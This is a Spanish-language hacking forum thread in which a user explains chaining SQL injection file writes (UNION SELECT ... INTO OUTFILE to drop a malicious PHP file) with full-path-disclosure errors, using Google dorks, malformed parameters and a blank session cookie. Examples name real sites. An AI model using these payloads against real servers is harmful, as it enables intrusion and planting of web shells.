Explotando Bugs en conjunto [Errores Informativos]

Iniciado por MaztoR, Julio 07, 2012, 02:22:54 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Iniciando esta pequeña entrada, disculpen mi tiempo de inactividad; les voy a explicar por que se hacen tan necesarios e importantes los errores informativos, dependiendo del tipo de escenario.


De mi parte soy de los que les gusta la auditoria manual; y siempre busco enfocarme en identificar de critico-a-leve, con eso quiero decir que me gusta primero localizar las fallas mas graves del sistema y luego ir plasmando las leves... si, es algo ironico y muy estupido (NO USO UN ESTANDAR DE ANALISIS) pero como siempre digo.. lo improvisado es aun mas interesante y por el momento solo juego a crear mi estandar aleatorio; Cabe decir que no tengo quien me diga lo que tengo o no que hacer? (JEFE)   ;)

Bueno al realizar un reporte rapido (FLASH) de las fallas criticas, nos damos cuenta que a veces es muy necesario el trabajo en equipo, aunque la falla sea tan grave y de acceso brusco, puede apoyarse de un pilar para ser explotada. Con trabajo en equipo no me refiero a buscar a un bro que nos ayude... me refiero a usar varias fallas en conjunto para que una se apoye de la otra.

En que tecnicas o vulnerabilidades usamos fallas en conjunto?

En infinidad de escenarios, todo depende del tipo de acceso que se le quiera dar a la maquina, sin embargo; yo me enfocare en las mas usadas para que sea mejor interpretado el paper.


Upload Mysql

Esta tecnica se basa  en un comando de MYSQL el cual se apoya del permiso FILE asignado en los diversos usuarios [root] para que puedan ejecutar los comandos [Into outfile/*/ Load_file()], los cuales se ejecutaran por consultas arbirtrarias con la muy conocidad vuln [SQLI].


-----------------------------------------------------------------------------------------------------------------------------------




Para llevar a cabo el anterior metodo, es necesario el apoyo de informacion adicional, aqui es donde se afirma lo escrito anteriormente, en el cual necesitaremos el trabajo en conjuunto de fallas, que ayudaran a que se logre su objetivo final.

La informacion adicional necesaria para realizar el metodo de upload mysql  es la ruta raiz o DocumentRoot, que es la ruta desde la cual se es montado toda la estructura del sitio web segun la configuracion de su ADMIN. Esta es necesaria para poder subir archivos y dejarlos ejecutando en el servidor para el beneficio que requiera.

Ejemplo:

   
Código: php
http://servidor/path1/archivo.php?sqli=-241 union all select 1,2,3,4,[CODEASUBIR],6,7,8,9 into outfile
    "/home/usuario/web1/htdocs/path1/archivomalicioso.php"

Resultado:

Código: php
    http://servidor/path1/archivomalicioso.php



Si no sabemos esa ruta, no podriamos subir un archivo debido a que no estamos definiendo en donde sera su destino.


-------------------------------------------------------------------------------------

Directory Transversal
Esta vulnerabilidad se basa principalmente en obtencion archivos mediante rutas, aunque se puede explotar a ciegas jugando un poco al "reverse" [../../../] de directorios, pero si esta vulnerabilidad la apoyamos con un "error informativo" que nos de la Full Path Disclosure?... Seria mucho mas facil, incluso seria un poco mas peligroso y explicito, ya que podria navegar de raiz a rama [Metaforicamente]

Los errores que nos pueden ayudar son del tipo:



Pero la pregunta de todos seria... como logro saber la ruta completa?

Dependiendo del escenario armaremos el rompecabezas. Muchas veces al encontrar SQLI, el error impreso o generado tiende a ser un "Error informativo"; Ya que nos muestra FPD (Full path disclosure) entre otros datos que nos podrian servir para mas adelante.


Sin embargo no siemrpe es asi y hay es donde nos toca apoyarnos de otras fallas para lograr realizar el objetivo.


Este tipo de errores informativos los podemos localizar mediante google o algun crawler de preferencia, listando los archivos PHP del servidor indexados y ver sus errores.


Usando Dork basica:


Código: php
site:sitio.com ext:php



Ejemplo:

Código: php
      site:mensajito.tigo.com.co ext:php




Listo ya obtuvimos la path: /var/www/html/includes/common.inc.php
La explotacion seria masomenos asi:

Ejemplo:

   
Código: php
http://servidor/path1/archivo.php?sqli=-241 union all select 1,2,3,4,[CODEASUBIR],6,7,8,9 into outfile
    "/var/www/html/includes/archivomalicioso.php"

Resultado:

Código: php
        http://servidor/includes/archivomalicioso.php



NOTA: Tiende a ser necesario el Encode Base_64

Podemos enfrentarnos a un servidor mas seguro por lo tanto no indexa archivos php vuln y nos tocaria generarlos por nuestra propia cuenta.

La habitual forma para generar un full path disclosure seria jugar con las variables.
Tenemos un archivo que descarga los pdfs de la web mediante la variable ruta, la cual asigna donde se encuentran los PDF

Ejemplo:

Código: php
    www.sitio.com/descarga.php?ruta=/pdf/1.pdf



Rotundamente se descargara el pdf de forma bonita y sin ningun problema...Pero que pasa si ponemos una ruta invalida?

Ejemplo:
Código: php

    www.sitio.com/documentos/descarga.php?ruta=31337
    www.sitio.com/documentos/descarga.php?ruta=
    www.sitio.com/documentos/descarga.php?ruta[]=



Resultado:

Código: php
Warning: fopen(31337) [function.fopen]: failed to open stream: No such file or directory in /var/www/html/documentos/descarga.php on line 9


NOTA: En ciertos casos no se generan errores con caracteres o rutas invalidas, por eso hay que probar sin poner nada: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Magicamento obtenemos ese lindo error el cual nos ayuda a proceder en la ayuda de otras vulnerabilidades.


Bueno, tambien podemos obtener y generar errores por cabeceras, de las cuales podemos usar un BLANK o carcater en parametros para ver como responde este.

En este caso utilizaré la muy conocida web del troyano poison-ivy la cual tiene un error al dejar en blank el parametro PHPSESSID= de Cookie.

Código: php
GET http://www.poisonivy-rat.com/index.php?link=download HTTP/1.1
Host: www.poisonivy-rat.com
User-Agent:
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=



Respuesta

Código: php
HTTP/1.1 200 OK
Date: Sat, 30 Jun 2012 09:15:35 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch7
Content-Length: 7502
Keep-Alive: timeout=15, max=79
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

     



Aqui utilizaré el live HTTP headers (Disculpenme usar WindSucks [Mi PC esta Dañada])




Si enviamos el BLANK obtendremos el siguiente error


Para la visualizacion quitamos las imagenes y bingo!


Nuestro Resultado seria:

Código: php

Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /var/www/index.php on line 2

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /var/www/index.php:2) in /var/www/index.php on line 2

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /var/www/index.php:2) in /var/www/index.php on line 2


Autor: MaztoR
-------------------------------------
| Twitter: @Mazt0r                
| Site: www.maztor.com        
| Skype: Maztor-                    
-------------------------------------

Ya lo había leído en tu blog  :P, muy bueno
Twitter: @The_Pr0ph3t
[email protected]

Muy Buen Aporte!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Todo un ataque... Muy Bien Hecho...


Saludos,
Dedalo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

JAJAJA ;D
No esperes nada, vive la vida, y que los demas hagan lo que ellos creen.

Julio 08, 2012, 03:30:20 PM #5 Ultima modificación: Julio 08, 2012, 03:43:24 PM por MaztoR
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
JAJAJA ;D

Te gusta trollear XD!, pronto me "vengare" XD

[10] Se respetuoso y educado con el resto de usuarios del foro. Pretendemos que el foro sea un punto de reunión para solicitar/prestar ayuda a todos los usuarios de la web. No permitiremos insultos ni faltas de respeto a ningún miembro de la comunidad, de lo contrario esto conllevará a una sanción al usuario agresor.


Me siento Ofendido :(
-------------------------------------
| Twitter: @Mazt0r                
| Site: www.maztor.com        
| Skype: Maztor-                    
-------------------------------------

Par de trolls calmados, ambos porfavor....  8) todo lo que tengan que arreglar o sus comentarios por MP, el IRC o msn no vuelvan cada post un flame.

Dentro de un rato eliminare este mi post mas los 2 de arriba, si tienen algo que comentar por MP.

Saludos
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!